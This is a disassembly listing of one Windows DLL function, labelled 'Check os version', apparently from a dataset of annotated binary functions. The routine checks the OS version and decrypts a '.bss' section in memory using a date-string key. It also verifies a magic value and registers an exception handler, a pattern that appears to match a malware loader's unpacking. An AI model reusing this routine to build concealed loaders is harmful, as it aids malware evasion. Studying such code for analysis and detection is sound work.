Function at 0x1800013e4
Capabilities:
Check os version

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rbp, rcx
lea rcx, [rax + 0x20]
mov r14, rdx
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
xor r8d, r8d
mov edx, 0x400000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_HeapCreate]
test rax, rax
mov qword [0x180036838], rax
jne 0x18000142f
lea ebx, [rax + 8]
jmp 0x1800017c3
mov rax, qword [rsp + 0x98]
xor r9d, r9d
xor r8d, r8d
lea r12d, [r9 + 1]
shr rax, 8
xor ecx, ecx
mov edx, r12d
mov dword [0x180036810], eax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
test rax, rax
mov qword [0x180036a48], rax
je 0x1800014b2
call qword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 5
jbe 0x1800014ab
mov dword [0x180036a2c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x47a
mov r8d, eax
mov qword [0x180036a38], rbp
mov dword [0x180036a28], eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
or rcx, 0xffffffffffffffff
test rax, rax
cmove rax, rcx
xor ebx, ebx
mov qword [0x180036a20], rax
jmp 0x1800014ba
mov ebx, 0x32
jmp 0x1800014ba
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test ebx, ebx
jne 0x1800017c3
xor eax, eax
xor edi, edi
lea rdx, str..bss
lea ebx, [rdi + 8]
lea rcx, [rsp + 0x90]
mov byte [rsp + 0x90], dil
mov r8d, ebx
mov dword [rsp + 0x91], eax
mov word [rsp + 0x95], ax
mov byte [rsp + 0x97], al
call qword [sym.imp.KERNEL32.dll_lstrcpynA]
lea rdx, [rsp + 0x90]
mov rcx, rbp
call fcn.180018f10
test rax, rax
mov rsi, rax
je 0x1800015fe
mov ecx, dword [rax + 0xc]
test ecx, ecx
je 0x1800015f7
cmp dword [rax + 0x10], edi
je 0x1800015f7
mov rax, qword [str.Dec_19_2017]
lea rdx, [rsp + 0x20]
lea r9d, [rdi + 4]
mov qword [rdx], rax
mov eax, dword [0x18002e7b8]
mov r8d, 0x3000
mov dword [rdx + 8], eax
mov edx, dword [rsi + 0x10]
lea r13d, [rdx + rcx]
xor ecx, ecx
xor r13d, dword [rsp + 0x20]
xor r13d, dword [rsp + 0x24]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
mov r12, rax
je 0x1800015ed
mov edx, dword [rsi + 0xc]
mov r8d, dword [rsi + 0x10]
mov rcx, rax
add rdx, rbp
call sub.ntdll.dll_memcpy
mov edx, dword [rsi + 0x10]
lea r9d, [rdi + 1]
lea r8d, [r13 + 0xe]
mov rcx, r12
call fcn.18002886c
mov r11d, dword [rsi + 0xc]
lea rax, [0x1800390b0]
mov rcx, r12
sub rcx, r11
sub rcx, rbp
add rcx, rax
mov eax, dword [rcx + 4]
sub eax, dword [rcx + 0xc]
add eax, dword [rcx]
cmp eax, 0x736c6e70
mov dword [0x180036a50], eax
jne 0x1800015d5
mov r8d, dword [rsi + 0x10]
lea rcx, [r11 + rbp]
mov rdx, r12
call sub.ntdll.dll_memcpy
jmp 0x1800015da
mov edi, 0xc
xor edx, edx
mov r8d, 0x8000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x1800015ef
mov edi, ebx
mov r12d, 1
jmp 0x180001603
mov edi, 0xb
jmp 0x180001603
mov edi, 2
test edi, edi
mov ebx, edi
jne 0x1800017c3
lea rdx, [0x180036a40]
xor r8d, r8d
xor ecx, ecx
call fcn.180017664
test eax, eax
setne bl
test ebx, ebx
jne 0x1800017c3
mov ecx, dword [0x180036a28]
xor edx, edx
call fcn.180016cf0
mov ecx, dword [0x180036a30]
lea r8, [0x180036a60]
test eax, eax
mov edx, r12d
mov dword [0x180036a58], 0x18
cmovne ecx, r12d
and dword [0x180036a68], ebx
xor r9d, r9d
mov dword [0x180036a30], ecx
lea rcx, [0x180039648]
call sub.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorA
mov rcx, qword [0x180036a40]
xor eax, eax
test rcx, rcx
je 0x1800016c4
mov r8w, 0x5c
xor edx, edx
call qword [sym.imp.SHLWAPI.dll_StrRChrA]
test rax, rax
mov rbx, rax
je 0x18000169b
add rbx, r12
jmp 0x1800016a2
mov rbx, qword [0x180036a40]
mov rcx, rbx
call qword [sym.imp.ntdll.dll__strupr]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, rbx
mov edx, eax
call fcn.180028900
xor eax, dword [0x180036a50]
mov ecx, dword [0x180036a28]
mov dword [0x180036958], eax
xor eax, eax
lea rdx, [rsp + 0x30]
xor ebx, ebx
mov qword [rsp + 0x31], rax
mov qword [rsp + 0x39], rax
mov qword [rsp + 0x41], rax
mov word [rsp + 0x49], ax
mov byte [rsp + 0x30], bl
mov byte [rsp + 0x4b], al
call fcn.180018954
test eax, eax
je 0x180001722
mov al, byte [rsp + 0x31]
cmp al, 2
jbe 0x180001722
movzx eax, al
sub eax, 2
test eax, eax
jle 0x180001722
lea rcx, [rsp + 0x3c]
mov edx, eax
add ebx, dword [rcx]
add rcx, 4
sub rdx, r12
jne 0x180001717
test ebx, ebx
mov dword [0x180036a34], ebx
jne 0x18000173d
cmp dword [0x180036958], 0x18876874
je 0x18000173d
mov ebx, r12d
jmp 0x1800017a9
xor ebx, 0xe8fa7dd7
xor r9d, r9d
xor r8d, r8d
mov edx, r12d
xor ecx, ecx
mov dword [0x180036a34], ebx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
test rax, rax
mov qword [0x1800368e8], rax
je 0x18000179d
call fcn.180011608
test eax, eax
je 0x18000179d
cmp byte [0x180036a2c], 5
jbe 0x18000178e
lea rdx, [0x180011450]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
mov qword [0x1800369b0], rax
mov rcx, r14
call fcn.180011938
cmp eax, 0xffffffff
mov ebx, eax
jne 0x1800017a5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test ebx, ebx
je 0x1800017c3
mov rcx, qword [0x1800369b0]
test rcx, rcx
je 0x1800017c3
call qword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
and qword [0x1800369b0], 0
lea r11, [rsp + 0x50]
mov eax, ebx
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret